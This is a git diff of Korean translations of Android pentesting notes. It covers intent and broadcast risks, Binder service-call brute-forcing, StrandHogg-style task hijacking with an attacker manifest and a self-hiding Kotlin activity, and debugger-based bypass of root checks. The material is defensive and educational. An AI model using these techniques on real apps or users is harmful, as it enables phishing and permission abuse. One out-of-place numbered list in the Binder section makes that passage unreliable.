**이전**에 선언된 인텐트의 **액션**은 **ACTION_SEND**이고, **엑스트라**는 mailto **Uri**입니다(엑스트라는 인텐트가 기대하는 추가 정보입니다).
|
||||
**이전**에 선언된 인텐트의 **액션**은 **ACTION_SEND**이고, **엑스트라**는 mailto **Uri**입니다 (엑스트라는 인텐트가 기대하는 추가 정보입니다).
|
||||
|
||||
이 인텐트는 다음 예와 같이 매니페스트 내에 선언되어야 합니다:
|
||||
```xml
|
||||
@ -161,26 +161,26 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
이것은 다른 애플리케이션이 **당신의 애플리케이션을 대신하여 작업을 수행할 수 있게** 해줍니다. Pending Intent를 구성할 때는 **의도와 수행할 작업을 지정해야** 합니다. **선언된 의도가 명시적이지 않으면** (어떤 의도가 호출할 수 있는지 선언하지 않음) **악의적인 애플리케이션이 피해자 앱을 대신하여 선언된 작업을 수행할 수 있습니다**. 게다가, **작업이 지정되지 않으면**, 악의적인 앱은 **피해자를 대신하여 어떤 작업이든 수행할 수 있습니다**.
|
||||
이것은 다른 애플리케이션이 **당신의 애플리케이션을 대신하여 작업을 수행할 수 있도록** 하며, 당신의 앱의 아이덴티티와 권한을 사용합니다. Pending Intent를 구성할 때는 **의도와 수행할 작업을 지정해야** 합니다. **선언된 의도가 명시적이지 않으면** (어떤 의도가 호출할 수 있는지 선언하지 않음) **악의적인 애플리케이션이 피해자 앱을 대신하여 선언된 작업을 수행할 수 있습니다**. 게다가, **작업이 지정되지 않으면**, 악의적인 앱은 **피해자를 대신하여 어떤 작업이든 수행할 수 있습니다**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
이전의 의도와 달리, 단일 앱만 수신하는 것이 아니라 방송 의도는 **여러 앱에서 수신될 수 있습니다**. 그러나 API 버전 14부터는 **메시지를 수신해야 하는 앱을 지정할 수 있습니다**. Intent.setPackage를 사용하여 가능합니다.
|
||||
이전의 인텐트와 달리, 단일 앱에서만 수신되는 것이 아니라, broadcast intents는 **여러 앱에서 수신될 수 있습니다**. 그러나 API 버전 14부터는 **메시지를 수신해야 하는 앱을 지정할 수 있습니다** Intent.setPackage를 사용하여.
|
||||
|
||||
또한 방송을 보낼 때 **권한을 지정할 수도 있습니다**. 수신 앱은 해당 권한을 가져야 합니다.
|
||||
또한 **브로드캐스트를 보낼 때 권한을 지정할 수도 있습니다**. 수신 앱은 해당 권한을 가져야 합니다.
|
||||
|
||||
방송에는 **두 가지 유형**이 있습니다: **정상** (비동기) 및 **정렬된** (동기). **순서**는 **수신기** 요소 내에서 **구성된 우선 순위**에 기반합니다. **각 앱은 방송을 처리, 중계 또는 삭제할 수 있습니다.**
|
||||
브로드캐스트에는 **두 가지 유형**이 있습니다: **정상** (비동기) 및 **주문형** (동기). **순서**는 **수신기** 요소 내에서 **구성된 우선 순위**에 기반합니다. **각 앱은 브로드캐스트를 처리, 중계 또는 삭제할 수 있습니다.**
|
||||
|
||||
`Context` 클래스의 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **방송을 보낼 수 있습니다**.\
|
||||
`Context` 클래스의 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **브로드캐스트**를 **보낼** 수 있습니다.\
|
||||
또한 **`LocalBroadCastManager`**의 **`sendBroadcast`** 함수를 사용하면 **메시지가 앱을 떠나지 않도록** 보장합니다. 이를 사용하면 수신기 구성 요소를 내보낼 필요조차 없습니다.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
이러한 종류의 방송은 **전송된 후 오랫동안 접근할 수 있습니다**.\
|
||||
이런 종류의 브로드캐스트는 **전송된 후 오랫동안 접근할 수 있습니다**.\
|
||||
이것은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 좋습니다**.\
|
||||
**이들은 모든 애플리케이션이 데이터를 엿볼 수 있게 하지만, 수정할 수도 있습니다.**
|
||||
**이들은 어떤 애플리케이션이 데이터를 엿볼 수 있도록 허용하지만, 또한 수정할 수 있도록 합니다.**
|
||||
|
||||
"sticky"라는 단어가 포함된 함수(예: **`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**)를 발견하면, **영향을 확인하고 제거하도록 시도하세요**.
|
||||
"sticky"라는 단어가 포함된 함수, 예를 들어 **`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**를 발견하면, **영향을 확인하고 제거하도록 시도하세요**.
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
@ -225,7 +225,7 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](#explo
|
||||
|
||||
- **메신저**: 바운드 서비스로 작동하는 메신저는 `onBind` 메소드를 통해 데이터를 처리하는 데 중점을 두고 IPC를 용이하게 합니다. 이 메소드를 면밀히 검사하여 안전하지 않은 데이터 처리나 민감한 기능의 실행이 있는지 확인하는 것이 중요합니다.
|
||||
|
||||
- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 것은 덜 일반적이지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작용한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 리소스를 확인하세요.
|
||||
- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 것은 덜 일반적이지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버 역할을 한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 리소스를 확인하세요.
|
||||
|
||||
## 구성 요소
|
||||
|
||||
@ -235,7 +235,7 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](#explo
|
||||
|
||||
Android 앱에서 **액티비티**는 화면과 같으며, 앱의 사용자 인터페이스의 다양한 부분을 보여줍니다. 앱은 여러 개의 액티비티를 가질 수 있으며, 각 액티비티는 사용자에게 고유한 화면을 제공합니다.
|
||||
|
||||
**런처 액티비티**는 앱의 주요 게이트웨이로, 앱 아이콘을 탭할 때 시작됩니다. 이는 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다:
|
||||
**런처 액티비티**는 앱의 주요 게이트웨이로, 앱 아이콘을 탭할 때 실행됩니다. 이는 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다:
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
@ -250,13 +250,13 @@ Android 앱에서 **액티비티**는 화면과 같으며, 앱의 사용자 인
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
그러나 다른 앱에서 활동에 접근하는 것이 항상 보안 위험은 아닙니다. 민감한 데이터가 부적절하게 공유될 경우 우려가 발생하며, 이는 정보 유출로 이어질 수 있습니다.
|
||||
그러나 다른 앱의 활동에 접근하는 것이 항상 보안 위험은 아닙니다. 민감한 데이터가 부적절하게 공유될 경우 우려가 발생하며, 이는 정보 유출로 이어질 수 있습니다.
|
||||
|
||||
활동의 생명 주기 **는 onCreate 메서드로 시작**되며, UI를 설정하고 사용자와의 상호작용을 위해 활동을 준비합니다.
|
||||
|
||||
### 애플리케이션 서브클래스
|
||||
|
||||
안드로이드 개발에서 앱은 [Application](https://developer.android.com/reference/android/app/Application) 클래스의 **서브클래스**를 생성할 수 있는 옵션이 있지만, 필수는 아닙니다. 이러한 서브클래스가 정의되면, 앱 내에서 가장 먼저 인스턴스화되는 클래스가 됩니다. 이 서브클래스에서 구현된 **`attachBaseContext`** 메서드는 **`onCreate`** 메서드 이전에 실행됩니다. 이 설정은 나머지 애플리케이션이 시작되기 전에 초기화를 조기에 수행할 수 있게 합니다.
|
||||
안드로이드 개발에서 앱은 [Application](https://developer.android.com/reference/android/app/Application) 클래스의 **서브클래스**를 생성할 수 있는 옵션이 있지만, 필수는 아닙니다. 이러한 서브클래스가 정의되면, 앱 내에서 가장 먼저 인스턴스화되는 클래스가 됩니다. 이 서브클래스에서 구현된 **`attachBaseContext`** 메서드는 **`onCreate`** 메서드 이전에 실행됩니다. 이 설정은 애플리케이션의 나머지 부분이 시작되기 전에 초기화를 조기에 수행할 수 있게 합니다.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
@ -274,11 +274,11 @@ super.onCreate();
|
||||
```
|
||||
### Services
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, **장기 실행 작업**에 필수적입니다.
|
||||
[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, **장기 실행 작업**에 있어 서비스는 매우 중요합니다.
|
||||
|
||||
Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점을 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다.
|
||||
서비스는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점을 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다.
|
||||
|
||||
서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생 또는 사용자와 앱 간의 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 만들 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다:
|
||||
서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생이나 사용자와 앱 간의 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 설정할 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
@ -296,7 +296,7 @@ Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며,
|
||||
|
||||
**Content Providers**는 앱 간에 **구조화된 데이터**를 **공유**하는 데 필수적이며, 데이터 보안을 보장하기 위해 **권한** 구현의 중요성을 강조합니다. 이들은 앱이 데이터베이스, 파일 시스템 또는 웹을 포함한 다양한 소스의 데이터에 접근할 수 있도록 합니다. **`readPermission`** 및 **`writePermission`**과 같은 특정 권한은 접근 제어에 중요합니다. 또한, 앱의 매니페스트에서 **`grantUriPermission`** 설정을 통해 임시 접근을 부여할 수 있으며, `path`, `pathPrefix`, `pathPattern`과 같은 속성을 활용하여 세부적인 접근 제어를 수행합니다.
|
||||
|
||||
입력 검증은 SQL 인젝션과 같은 취약점을 방지하기 위해 매우 중요합니다. Content Providers는 데이터 조작 및 애플리케이션 간의 공유를 용이하게 하는 기본 작업인 `insert()`, `update()`, `delete()`, `query()`를 지원합니다.
|
||||
입력 검증은 SQL 인젝션과 같은 취약점을 방지하기 위해 매우 중요합니다. Content Providers는 데이터 조작 및 애플리케이션 간 공유를 용이하게 하는 기본 작업인 `insert()`, `update()`, `delete()`, `query()`를 지원합니다.
|
||||
|
||||
**FileProvider**는 파일을 안전하게 공유하는 데 중점을 둔 전문화된 Content Provider입니다. 이는 앱의 매니페스트에 정의되며, 폴더에 대한 접근을 제어하기 위한 특정 속성을 포함하고 있으며, `android:exported` 및 `android:resource`가 폴더 구성으로 지정됩니다. 민감한 데이터가 우연히 노출되지 않도록 디렉토리를 공유할 때 주의해야 합니다.
|
||||
|
||||
@ -327,24 +327,24 @@ WebViews는 Android 앱 내의 **미니 웹 브라우저**와 같으며, 웹 또
|
||||
|
||||
Android는 두 가지 주요 WebView 유형을 제공합니다:
|
||||
|
||||
- **WebViewClient**는 기본 HTML에 적합하지만 JavaScript 경고 기능을 지원하지 않아 XSS 공격 테스트 방식에 영향을 미칩니다.
|
||||
- **WebViewClient**는 기본 HTML에 적합하지만 JavaScript 알림 기능을 지원하지 않아 XSS 공격 테스트 방식에 영향을 미칩니다.
|
||||
- **WebChromeClient**는 전체 Chrome 브라우저 경험과 더 유사하게 작동합니다.
|
||||
|
||||
중요한 점은 WebView 브라우저가 장치의 주요 브라우저와 **쿠키를 공유하지 않는**다는 것입니다.
|
||||
|
||||
콘텐츠를 로드하기 위해 `loadUrl`, `loadData`, `loadDataWithBaseURL`와 같은 방법이 제공됩니다. 이러한 URL 또는 파일이 **안전하게 사용될 수 있는지** 확인하는 것이 중요합니다. 보안 설정은 `WebSettings` 클래스를 통해 관리할 수 있습니다. 예를 들어, `setJavaScriptEnabled(false)`로 JavaScript를 비활성화하면 XSS 공격을 방지할 수 있습니다.
|
||||
|
||||
JavaScript "Bridge"는 Java 객체가 JavaScript와 상호작용할 수 있게 하며, Android 4.2 이상에서는 보안을 위해 메서드에 `@JavascriptInterface`로 표시해야 합니다.
|
||||
JavaScript "Bridge"는 Java 객체가 JavaScript와 상호작용할 수 있게 하며, Android 4.2 이상부터 보안을 위해 메서드에 `@JavascriptInterface`로 표시해야 합니다.
|
||||
|
||||
콘텐츠 접근을 허용하는 것(`setAllowContentAccess(true)`)은 WebViews가 Content Providers에 접근할 수 있게 하며, 콘텐츠 URL이 안전하다고 확인되지 않으면 위험이 될 수 있습니다.
|
||||
|
||||
파일 접근을 제어하기 위해:
|
||||
|
||||
- 파일 접근을 비활성화하는 것(`setAllowFileAccess(false)`)은 특정 자산에 대한 예외를 제외하고 파일 시스템에 대한 접근을 제한하여, 비민감 콘텐츠에만 사용되도록 보장합니다.
|
||||
- 파일 접근을 비활성화하는 것(`setAllowFileAccess(false)`)은 파일 시스템에 대한 접근을 제한하며, 특정 자산에 대한 예외를 두어 비민감 콘텐츠에만 사용되도록 보장합니다.
|
||||
|
||||
## 기타 앱 구성 요소 및 모바일 장치 관리
|
||||
|
||||
### **애플리케이션의 디지털 서명**
|
||||
### **응용 프로그램의 디지털 서명**
|
||||
|
||||
- **디지털 서명**은 Android 앱에 필수적이며, 설치 전에 **정품 작성**되었음을 보장합니다. 이 과정은 앱 식별을 위한 인증서를 사용하며, 설치 시 장치의 패키지 관리자가 확인해야 합니다. 앱은 **자체 서명되거나 외부 CA에 의해 인증**될 수 있으며, 무단 접근으로부터 보호하고 장치에 전달되는 동안 앱이 변조되지 않도록 보장합니다.
|
||||
|
||||
@ -375,11 +375,16 @@ Android *Binder* IPC는 많은 **시스템 및 공급업체 제공 서비스**
|
||||
service list # simple one-liner
|
||||
am list services # identical output, ActivityManager wrapper
|
||||
```
|
||||
1. Android 애플리케이션은 Java 또는 Kotlin으로 작성됩니다.
|
||||
2. Android 앱은 APK 파일 형식으로 배포됩니다.
|
||||
3. AndroidManifest.xml 파일은 앱의 구성 요소를 정의합니다.
|
||||
4. 앱의 권한은 AndroidManifest.xml에서 설정됩니다.
|
||||
5. 앱의 리소스는 res 폴더에 저장됩니다.
|
||||
1. Android 애플리케이션의 기본 사항
|
||||
2. Android 애플리케이션 구조
|
||||
3. Android 애플리케이션의 구성 요소
|
||||
4. AndroidManifest.xml 파일
|
||||
5. 리소스 파일
|
||||
6. 코드 파일
|
||||
7. Android 애플리케이션의 보안
|
||||
8. 취약점 분석
|
||||
9. 리버스 엔지니어링
|
||||
10. 보안 테스트 도구
|
||||
```
|
||||
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
@ -408,8 +413,8 @@ service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
|
||||
```bash
|
||||
service call mtkconnmetrics 8 i32 1
|
||||
```
|
||||
### 4. 알 수 없는 메서드에 대한 무차별 대입
|
||||
헤더 파일이 없을 때는 **코드를 반복**하여 오류가 다음과 같이 변경될 때까지 진행할 수 있습니다:
|
||||
### 4. 알 수 없는 메서드 강제 공격
|
||||
헤더 파일이 없을 때는 **코드를 반복 실행**하여 오류가 다음과 같이 변경될 때까지 진행할 수 있습니다:
|
||||
```
|
||||
Result: Parcel(00000000 00000000) # "Not a data message"
|
||||
```
|
||||
@ -423,7 +428,7 @@ done
|
||||
서비스가 **proguard**로 컴파일된 경우 매핑을 추측해야 합니다 – 다음 단계를 참조하세요.
|
||||
|
||||
### 5. Mapping codes ↔ methods via onTransact()
|
||||
인터페이스를 구현하는 jar/odex를 디컴파일합니다 (AOSP 스텁의 경우 `/system/framework`를 확인하세요; OEM은 종종 `/system_ext` 또는 `/vendor`를 사용합니다).
|
||||
인터페이스를 구현하는 jar/odex를 디컴파일합니다 (AOSP 스텁은 `/system/framework`를 확인하세요; OEM은 종종 `/system_ext` 또는 `/vendor`를 사용합니다).
|
||||
`Stub.onTransact()`를 검색하세요 – 여기에는 거대한 `switch(transactionCode)`가 포함되어 있습니다:
|
||||
```java
|
||||
case TRANSACTION_updateCtaAppStatus: // 5
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Task, Back Stack and Foreground Activities
|
||||
|
||||
안드로이드에서 **task**는 사용자가 특정 작업을 완료하기 위해 상호작용하는 활동의 집합으로, **back stack** 내에 조직됩니다. 이 스택은 활동이 열렸던 순서에 따라 정렬되며, 가장 최근의 활동이 가장 위에 표시되어 **foreground activity**가 됩니다. 언제든지 이 활동만 화면에 표시되어 **foreground task**의 일부가 됩니다.
|
||||
안드로이드에서 **task**는 사용자가 특정 작업을 완료하기 위해 상호작용하는 활동의 집합으로, **back stack** 내에 조직됩니다. 이 스택은 활동이 열린 순서에 따라 정렬되며, 가장 최근의 활동이 **foreground activity**로 화면 상단에 표시됩니다. 언제든지 이 활동만 화면에 보이므로 **foreground task**의 일부가 됩니다.
|
||||
|
||||
활동 전환에 대한 간단한 요약은 다음과 같습니다:
|
||||
|
||||
- **Activity 1**은 foreground에서 유일한 활동으로 시작됩니다.
|
||||
- **Activity 2**를 시작하면 **Activity 1**이 back stack으로 밀려나고, **Activity 2**가 foreground로 옵니다.
|
||||
- **Activity 3**을 시작하면 **Activity 1**과 **Activity 2**가 스택에서 더 뒤로 밀리고, **Activity 3**이 이제 앞에 위치합니다.
|
||||
- **Activity 2**를 시작하면 **Activity 1**이 back stack으로 밀려나고, **Activity 2**가 foreground로 올라옵니다.
|
||||
- **Activity 3**을 시작하면 **Activity 1**과 **Activity 2**가 스택에서 더 뒤로 밀리고, **Activity 3**이 앞에 위치합니다.
|
||||
- **Activity 3**을 닫으면 **Activity 2**가 다시 foreground로 돌아와 안드로이드의 간소화된 작업 탐색 메커니즘을 보여줍니다.
|
||||
|
||||
.png>)
|
||||
@ -19,11 +19,11 @@
|
||||
|
||||
## Task affinity attacks
|
||||
|
||||
`taskAffinity`는 안드로이드에 `Activity`가 *선호*하는 작업을 알려줍니다. 두 활동이 동일한 affinity를 공유할 때 **안드로이드는 서로 다른 APK에서 온 경우에도 동일한 back-stack 내에서 이를 병합할 수 있습니다**.
|
||||
`taskAffinity`는 안드로이드에 `Activity`가 *선호*하는 작업을 알려줍니다. 두 활동이 동일한 affinity를 공유할 경우 **안드로이드는 서로 다른 APK에서 온 경우에도 동일한 back-stack 내에서 이를 병합할 수 있습니다**.
|
||||
|
||||
공격자가 그 스택의 **root**에 악성 활동을 배치할 수 있다면, 피해자가 합법적인 애플리케이션을 열 때마다 악성 UI가 사용자가 가장 먼저 보는 것이 됩니다 – 피싱이나 악용 권한 요청에 완벽합니다.
|
||||
|
||||
공격 표면은 많은 개발자들이 생각하는 것보다 넓습니다. **모든 활동은 자동으로 애플리케이션 패키지 이름과 동일한 affinity를 상속받기 때문입니다** (개발자가 `android:taskAffinity=""`를 설정하지 않는 한). 따라서 *아무것도 하지 않는 것*만으로도 안드로이드 11 이전 버전에서 작업 탈취에 노출됩니다.
|
||||
공격 표면은 많은 개발자들이 생각하는 것보다 넓습니다. 왜냐하면 **모든 활동은 자동으로 애플리케이션 패키지 이름과 동일한 affinity를 상속받기 때문입니다** (개발자가 `android:taskAffinity=""`를 설정하지 않는 한). 따라서 *아무것도 하지 않는 것*만으로도 안드로이드 11 이전 버전에서 작업 탈취에 노출됩니다.
|
||||
|
||||
### Classic "singleTask / StrandHogg" scenario
|
||||
|
||||
@ -39,15 +39,15 @@ android:launchMode="singleTask" >
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
2. 악성 앱이 한 번 시작되어 작업(스푸핑된 affinity가 있는)이 최근 작업에 존재하게 됩니다.
|
||||
2. 악성 앱이 한 번 시작되어 (스푸핑된 affinity를 가진) 작업이 최근 작업에 존재하게 됩니다.
|
||||
3. 사용자가 나중에 실제 애플리케이션을 열면 안드로이드는 이미 **root affinity가 패키지와 일치하는** 작업이 있음을 찾아 그 작업을 foreground로 가져옵니다.
|
||||
4. 공격자의 UI가 먼저 표시됩니다.
|
||||
|
||||
### Default–Affinity (no `singleTask`) variant – Caller ID case study
|
||||
|
||||
**Caller ID (caller.id.phone.number.block)** 애플리케이션에서 보고된 취약점은 공격이 *기본 `standard` 실행 모드에 대해서도* 작동함을 보여줍니다:
|
||||
**Caller ID (caller.id.phone.number.block)** 애플리케이션에서 보고된 취약점은 공격이 *기본* `standard` 실행 모드에서도 작동함을 보여줍니다:
|
||||
|
||||
1. 공격자 애플리케이션은 가짜 루트 활동을 생성하고 즉시 자신을 숨깁니다:
|
||||
1. 공격자 애플리케이션이 가짜 루트 활동을 생성하고 즉시 자신을 숨깁니다:
|
||||
```kotlin
|
||||
class HackActivity : AppCompatActivity() {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
@ -67,10 +67,10 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
3. 사용자가 악성 앱을 **한 번** 설치하고 열면 피해자 패키지와 동일한 affinity를 가진 작업이 존재하게 됩니다(하지만 백그라운드에 위치).
|
||||
3. 사용자가 악성 앱을 **한 번** 설치하고 열면 피해자 패키지와 동일한 affinity를 가진 작업이 존재하게 됩니다 (하지만 백그라운드에 위치).
|
||||
4. 실제 Caller ID 애플리케이션이 실행되면 안드로이드는 그 작업을 재사용하고 `HackActivity`를 foreground로 가져옵니다 → 피싱 창/권한 남용.
|
||||
|
||||
> NOTE: **Android 11 (API 30)**부터 시스템은 기본적으로 동일한 UID의 일부가 아닌 두 패키지를 동일한 작업에 배치하지 않으므로 이 특정 변형을 완화합니다. 이전 버전은 여전히 취약합니다.
|
||||
> NOTE: **Android 11 (API 30)**부터 시스템은 기본적으로 동일한 UID에 속하지 않는 두 패키지를 동일한 작업에 배치하지 않으므로 이 특정 변형을 완화합니다. 이전 버전은 여전히 취약합니다.
|
||||
|
||||
---
|
||||
|
||||
@ -82,11 +82,11 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
|
||||
* 제로 권한 악성 앱은 한 번 열리면 실행 중인 작업을 반복하고 숨겨진 API를 호출하여 자신의 활동을 어떤 작업으로든 **재부모화**할 수 있습니다.
|
||||
* 활동이 런타임 후에 삽입되기 때문에 `launchMode`나 정적 매니페스트 분석으로는 공격을 사전에 감지할 수 없습니다.
|
||||
* **Android 8.0/8.1/9**에 체크를 백포트하여 패치되었습니다 (2020년 5월 SPL). **Android 10 및 이후 버전은 영향을 받지 않습니다.**
|
||||
* **Android 8.0/8.1/9**에 체크를 백포트하여 패치되었습니다 (2020년 5월 SPL). **Android 10 이상은 영향을 받지 않습니다.**
|
||||
|
||||
패치되지 않은 장치에서의 탐지는 `adb shell dumpsys activity activities`를 사용하여 수행할 수 있으며, 작업의 *affinity*와 패키지 이름이 다른 의심스러운 활동을 감시합니다.
|
||||
|
||||
구형 장치에 대한 완화는 고전적인 작업 탈취와 동일하며 **+** 런타임 검증(예: [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) 호출 및 자신의 패키지 이름 검증)을 포함합니다.
|
||||
구형 장치에 대한 완화는 고전적인 작업 탈취와 동일하며 **+** 런타임 검증이 필요합니다 (예: [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int))를 호출하고 자신의 패키지 이름을 검증).
|
||||
|
||||
---
|
||||
|
||||
@ -121,14 +121,14 @@ run app.activity.info com.victim
|
||||
* `<application>` 수준에서 `android:taskAffinity=""`를 명시적으로 설정하는 것이 좋습니다 **또는** 각 활동에 고유하고 개인적인 affinity를 부여합니다.
|
||||
* 매우 민감한 화면의 경우 위의 방법과 `android:launchMode="singleInstance"` 또는 현대적인 [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) 보호를 결합합니다.
|
||||
* 앱의 `targetSdkVersion`을 업그레이드하고 기본적으로 패키지 간에 작업이 공유되지 않는 **Android 11**의 동작 변경 사항을 시행합니다.
|
||||
* **Android 12 (API 31) 이상**을 목표로 하여 필수 `android:exported` 속성이 개발자가 모든 외부 접근 가능한 구성 요소를 감사하도록 강제합니다.
|
||||
* **Android 12 (API 31) 이상**을 목표로 하여 필수 `android:exported` 속성이 개발자가 외부에서 접근 가능한 모든 구성 요소를 감사하도록 강제합니다.
|
||||
* 런타임 자기 방어를 고려합니다: 주기적으로 `ActivityTaskManager`를 쿼리하여 최상위 활동의 패키지가 자신의 것과 일치하는지 확인합니다.
|
||||
|
||||
---
|
||||
|
||||
## Related UI-Hijacking techniques
|
||||
|
||||
작업 탈취는 종종 **tapjacking** (오버레이 기반 UI 속임수)와 결합되거나 대체됩니다. 2025년 **TapTrap** 연구는 완전히 투명한 *애니메이션 기반* 활동이 안드로이드 12–14에서 도입된 오버레이 터치 제한을 우회하고 여전히 사용자가 위험한 권한을 부여하도록 속일 수 있음을 보여주었습니다. TapTrap은 엄밀히 말하면 *작업* 탈취는 아니지만, 최종 목표(피싱 클릭)는 동일하므로 현대적인 평가에서는 두 공격 표면을 모두 확인해야 합니다.
|
||||
작업 탈취는 종종 **tapjacking** (오버레이 기반 UI 속임수)와 결합되거나 대체됩니다. 2025년 **TapTrap** 연구는 완전히 투명한 *애니메이션 기반* 활동이 안드로이드 12–14에서 도입된 오버레이 터치 제한을 우회하고 여전히 사용자가 위험한 권한을 부여하도록 속일 수 있음을 보여주었습니다. TapTrap은 엄밀히 말해 *task* 탈취는 아니지만, 최종 목표(피싱 클릭)는 동일하므로 현대적인 평가에서는 두 공격 표면을 모두 확인해야 합니다.
|
||||
|
||||
---
|
||||
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 디버깅 가능한 애플리케이션의 취약점 이용하기
|
||||
# 디버깅 가능한 애플리케이션 악용하기
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# **루트 및 디버깅 가능성 검사 우회하기**
|
||||
|
||||
이 게시물의 이 섹션은 [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)에서 요약한 내용입니다.
|
||||
이 게시물의 이 섹션은 [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) 게시물의 요약입니다.
|
||||
|
||||
## Android 앱을 디버깅 가능하게 만들고 검사 우회하기 위한 단계
|
||||
|
||||
@ -26,10 +26,10 @@
|
||||
|
||||
- `adb shell pm list packages –3`를 실행하여 서드파티 애플리케이션 목록을 확인하고 패키지 이름을 찾습니다.
|
||||
|
||||
4. **앱을 디버거 연결 대기 상태로 설정:**
|
||||
4. **앱이 디버거 연결을 기다리도록 설정:**
|
||||
|
||||
- 명령어: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **참고:** 이 명령은 애플리케이션을 시작하기 전에 매번 실행해야 디버거를 기다리게 됩니다.
|
||||
- 명령어: `adb shell am setup-debug-app –w <package_name>`입니다.
|
||||
- **참고:** 이 명령은 애플리케이션을 시작하기 전에 매번 실행해야 디버거를 기다리도록 설정됩니다.
|
||||
- 지속성을 위해 `adb shell am setup-debug-app –w ––persistent <package_name>`을 사용합니다.
|
||||
- 모든 플래그를 제거하려면 `adb shell am clear-debug-app <package_name>`을 사용합니다.
|
||||
|
||||
@ -53,35 +53,35 @@
|
||||
|
||||

|
||||
|
||||
이 단계들은 애플리케이션이 디버깅 가능하도록 하고, 디버거를 사용하여 특정 보안 검사를 우회할 수 있도록 보장하여 애플리케이션의 동작을 보다 심층적으로 분석하거나 수정할 수 있게 합니다.
|
||||
